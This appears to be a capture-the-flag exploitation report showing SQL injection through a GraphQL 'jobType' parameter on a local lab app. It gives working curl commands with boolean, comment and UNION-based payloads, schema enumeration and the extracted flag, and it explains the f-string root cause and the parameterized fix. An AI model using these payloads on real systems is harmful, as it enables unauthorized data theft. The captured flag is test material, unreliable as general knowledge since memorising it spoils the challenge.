# Injection Exploitation Evidence

## Successfully Exploited Vulnerabilities

### INJ-VULN-001: SQL Injection via GraphQL jobType Parameter

**Summary:**
- **Vulnerable location:** GraphQL endpoint at `/graphql/` - `jobs` query with `jobType` parameter
- **Overview:** Classic SQL injection via unsanitized f-string interpolation in SQLite query construction, allowing complete bypass of weak authorization check
- **Impact:** Complete database access achieved. Successfully extracted CTF flag, enumerated database schema, and retrieved all sensitive data. The vulnerability allows unauthorized access to "private" job listings containing the flag value.
- **Severity:** Critical

**Prerequisites:**
- Network access to `http://localhost:38609/graphql/`
- No authentication required (public endpoint)
- HTTP client capable of sending POST requests with JSON body

**Exploitation Steps:**

**Step 1: Verify GraphQL endpoint is accessible**

Send a basic GraphQL query to confirm the endpoint is operational:

```bash
curl -s -X POST http://localhost:38609/graphql/ \
  -H "Content-Type: application/json" \
  -d '{"query": "{ jobs { id name type description } }"}'
```

**Expected Response:**
```json
{
  "data": {
    "jobs": [
      {"id": 1, "name": "Senior Frontend Dev", "type": "front-end", "description": "reactjs"},
      {"id": 2, "name": "Staff Backend Python", "type": "back-end", "description": "django"},
      {"id": 4, "name": "Frontend Dev", "type": "front-end", "description": "angular"}
    ]
  }
}
```

Note: The response shows 3 public jobs (IDs 1, 2, 4). Missing ID 3 indicates hidden data.

**Step 2: Confirm weak authorization check blocks direct access**

Attempt to query "private" jobs directly to verify the authorization check:

```bash
curl -s -X POST http://localhost:38609/graphql/ \
  -H "Content-Type: application/json" \
  -d '{"query": "{ jobs(jobType: \"private\") { id name type description } }"}'
```

**Expected Response:**
```json
{
  "data": null,
  "errors": [
    {
      "message": "Only admins can see private jobs",
      "locations": [{"line": 1, "column": 3}],
      "path": ["jobs"]
    }
  ]
}
```

This confirms the authorization check is active but validates parameter value, not user identity.

**Step 3: Exploit SQL injection to bypass authorization and extract flag**

Inject a boolean-based SQL payload that bypasses the authorization check by avoiding the exact string "private":

```bash
curl -s -X POST http://localhost:38609/graphql/ \
  -H "Content-Type: application/json" \
  -d '{"query": "{ jobs(jobType: \"'\'' OR '\''1'\''='\''1\") { id name type description } }"}'
```

**Resulting SQL Query (vulnerable line 60 in main.py):**
```sql
SELECT * FROM jobs WHERE type = '' OR '1'='1'
```

**Actual Response:**
```json
{
  "data": {
    "jobs": [
      {"id": 1, "name": "Senior Frontend Dev", "type": "front-end", "description": "reactjs"},
      {"id": 2, "name": "Staff Backend Python", "type": "back-end", "description": "django"},
      {"id": 3, "name": "Hidden job", "type": "private", "description": "FLAG{435c23214a55a86fb4767013da8e1ac61feffa0ccfea01a5289b84effb8fbebd}"},
      {"id": 4, "name": "Frontend Dev", "type": "front-end", "description": "angular"}
    ]
  }
}
```

**🎯 FLAG CAPTURED: FLAG{435c23214a55a86fb4767013da8e1ac61feffa0ccfea01a5289b84effb8fbebd}**

**Step 4: Alternative direct extraction targeting only private jobs**

For cleaner flag extraction without public jobs, use a targeted payload:

```bash
curl -s -X POST http://localhost:38609/graphql/ \
  -H "Content-Type: application/json" \
  -d '{"query": "{ jobs(jobType: \"'\'' OR type='\''private'\'' -- \") { id name type description } }"}'
```

**Resulting SQL Query:**
```sql
SELECT * FROM jobs WHERE type = '' OR type='private' --'
```

**Response:**
```json
{
  "data": {
    "jobs": [
      {
        "id": 3,
        "name": "Hidden job",
        "type": "private",
        "description": "FLAG{435c23214a55a86fb4767013da8e1ac61feffa0ccfea01a5289b84effb8fbebd}"
      }
    ]
  }
}
```

This payload bypasses the authorization check (which only triggers for `job_type == 'private'` exactly) and uses SQL logic to retrieve only private records.

**Step 5: Database fingerprinting via UNION-based injection**

Extract SQLite version to confirm database technology:

```bash
curl -s -X POST http://localhost:38609/graphql/ \
  -H "Content-Type: application/json" \
  -d '{"query": "{ jobs(jobType: \"'\'' UNION SELECT 1, sqlite_version(), '\''info'\'', '\''info'\'' -- \") { id name type description } }"}'
```

**Resulting SQL Query:**
```sql
SELECT * FROM jobs WHERE type = '' UNION SELECT 1, sqlite_version(), 'info', 'info' --'
```

**Response:**
```json
{
  "data": {
    "jobs": [
      {"id": 1, "name": "3.46.1", "type": "info", "description": "info"}
    ]
  }
}
```

**Database Fingerprint:** SQLite 3.46.1

**Step 6: Schema enumeration via sqlite_master**

Extract complete database schema:

```bash
curl -s -X POST http://localhost:38609/graphql/ \
  -H "Content-Type: application/json" \
  -d '{"query": "{ jobs(jobType: \"'\'' UNION SELECT 1, name, type, sql FROM sqlite_master WHERE type='\''table'\'' -- \") { id name type description } }"}'
```

**Resulting SQL Query:**
```sql
SELECT * FROM jobs WHERE type = '' UNION SELECT 1, name, type, sql FROM sqlite_master WHERE type='table' --'
```

**Response:**
```json
{
  "data": {
    "jobs": [
      {
        "id": 1,
        "name": "jobs",
        "type": "table",
        "description": "CREATE TABLE jobs (\n        id INTEGER PRIMARY KEY,\n        name TEXT,\n        type TEXT,\n        description TEXT\n    )"
      }
    ]
  }
}
```

**Database Schema Discovered:**
- **Database:** SQLite 3.46.1 (in-memory)
- **Tables:** 1 table (`jobs`)
- **Schema:**
  ```sql
  CREATE TABLE jobs (
      id INTEGER PRIMARY KEY,
      name TEXT,
      type TEXT,
      description TEXT
  )
  ```

**Step 7: Complete data exfiltration**

Extract all rows from the jobs table (4 total records):

```bash
curl -s -X POST http://localhost:38609/graphql/ \
  -H "Content-Type: application/json" \
  -d '{"query": "{ jobs(jobType: \"'\'' OR 1=1 -- \") { id name type description } }"}'
```

**Resulting SQL Query:**
```sql
SELECT * FROM jobs WHERE type = '' OR 1=1 --'
```

**Complete Dataset Extracted:**

| ID | Name | Type | Description |
|----|------|------|-------------|
| 1 | Senior Frontend Dev | front-end | reactjs |
| 2 | Staff Backend Python | back-end | django |
| 3 | Hidden job | private | FLAG{435c23214a55a86fb4767013da8e1ac61feffa0ccfea01a5289b84effb8fbebd} |
| 4 | Frontend Dev | front-end | angular |

**Proof of Impact:**

**✅ CRITICAL IMPACT ACHIEVED:**

1. **Flag Extraction (CTF Objective Compromised):**
   - Successfully extracted: `FLAG{435c23214a55a86fb4767013da8e1ac61feffa0ccfea01a5289b84effb8fbebd}`
   - Location: `jobs.description` where `jobs.id = 3` and `jobs.type = 'private'`
   - Method: Boolean-based SQL injection bypassing weak authorization

2. **Authorization Bypass:**
   - Weak protection check: `if job_type == 'private': raise Exception("Only admins can see private jobs")`
   - Check occurs at line 55-57 of main.py BEFORE SQL injection point at line 60
   - Bypassed by crafting payloads that don't match literal string "private" but still retrieve private data via SQL logic

3. **Complete Database Compromise:**
   - Database type confirmed: SQLite 3.46.1
   - Schema enumerated: 1 table with 4 columns
   - All 4 records extracted including 1 hidden "private" record
   - No authentication or encryption protecting data

4. **Vulnerability Root Cause:**
   - **Location:** `/app/main.py` line 60
   - **Vulnerable Code:** `query = f"SELECT * FROM jobs WHERE type = '{job_type}'"`
   - **Issue:** Direct f-string interpolation without parameterization or sanitization
   - **Proper Fix:** Use parameterized query: `cursor.execute("SELECT * FROM jobs WHERE type = ?", (job_type,))`

**Technical Details:**

- **Injection Point:** GraphQL parameter `jobType` in `jobs()` query resolver
- **Slot Type:** SQL-val (string value in WHERE clause)
- **Database:** SQLite3 (embedded, in-memory, no authentication)
- **Sanitization:** NONE (no input validation, escaping, or parameterization)
- **WAF/Filtering:** NONE (direct Uvicorn exposure, no middleware)
- **Authentication Required:** NONE (public endpoint)

**Attack Vector Summary:**
```
HTTP POST → /graphql/ → Strawberry GraphQL Parser → Query.jobs(jobType) 
→ [Weak Auth Check: line 55-57, BYPASSED] 
→ [SQL Injection: line 60, f-string interpolation] 
→ cursor.execute(attacker_controlled_query) 
→ Flag Exfiltration
```

**Notes:**

**Why the Authorization Check Failed:**
The application uses parameter validation instead of identity-based access control. The check at line 55-57 validates what the user is *asking for* rather than *who the user is*:

```python
if job_type and job_type == 'private':
    raise Exception("Only admins can see private jobs")
```

This check only triggers if the input exactly matches the string "private". SQL injection payloads like `' OR type='private' --` bypass this check because:
1. The string `' OR type='private' --` does not equal `'private'`
2. The check passes, allowing code execution to reach the SQL injection point
3. The SQL injection then retrieves private data through database logic, not parameter matching

**Multiple Exploitation Vectors Confirmed:**
- ✅ Boolean-based injection: `' OR '1'='1`
- ✅ Comment-based injection: `' OR 1=1 --`
- ✅ Targeted extraction: `' OR type='private' --`
- ✅ UNION-based injection: `' UNION SELECT ...`

**Defense Evasion:**
- No WAF bypasses required (no WAF present)
- No authentication bypass required (no authentication exists)
- No rate limiting encountered (unlimited requests)
- No encoding/obfuscation required (direct payload execution)

**Exploitation Confidence:** 100% - Flag successfully extracted, complete database compromised, all attack vectors validated.

---

## Summary

**Total Vulnerabilities in Queue:** 1  
**Successfully Exploited:** 1 (100%)  
**Potential (Blocked):** 0  
**False Positives:** 0

**Critical Findings:**
- 1 SQL Injection vulnerability with complete database access and flag extraction
- Zero authentication barriers
- Zero input validation or sanitization
- Zero WAF or security middleware

**Flag Captured:** `FLAG{435c23214a55a86fb4767013da8e1ac61feffa0ccfea01a5289b84effb8fbebd}`

---

**INJECTION EXPLOITATION PHASE COMPLETE**
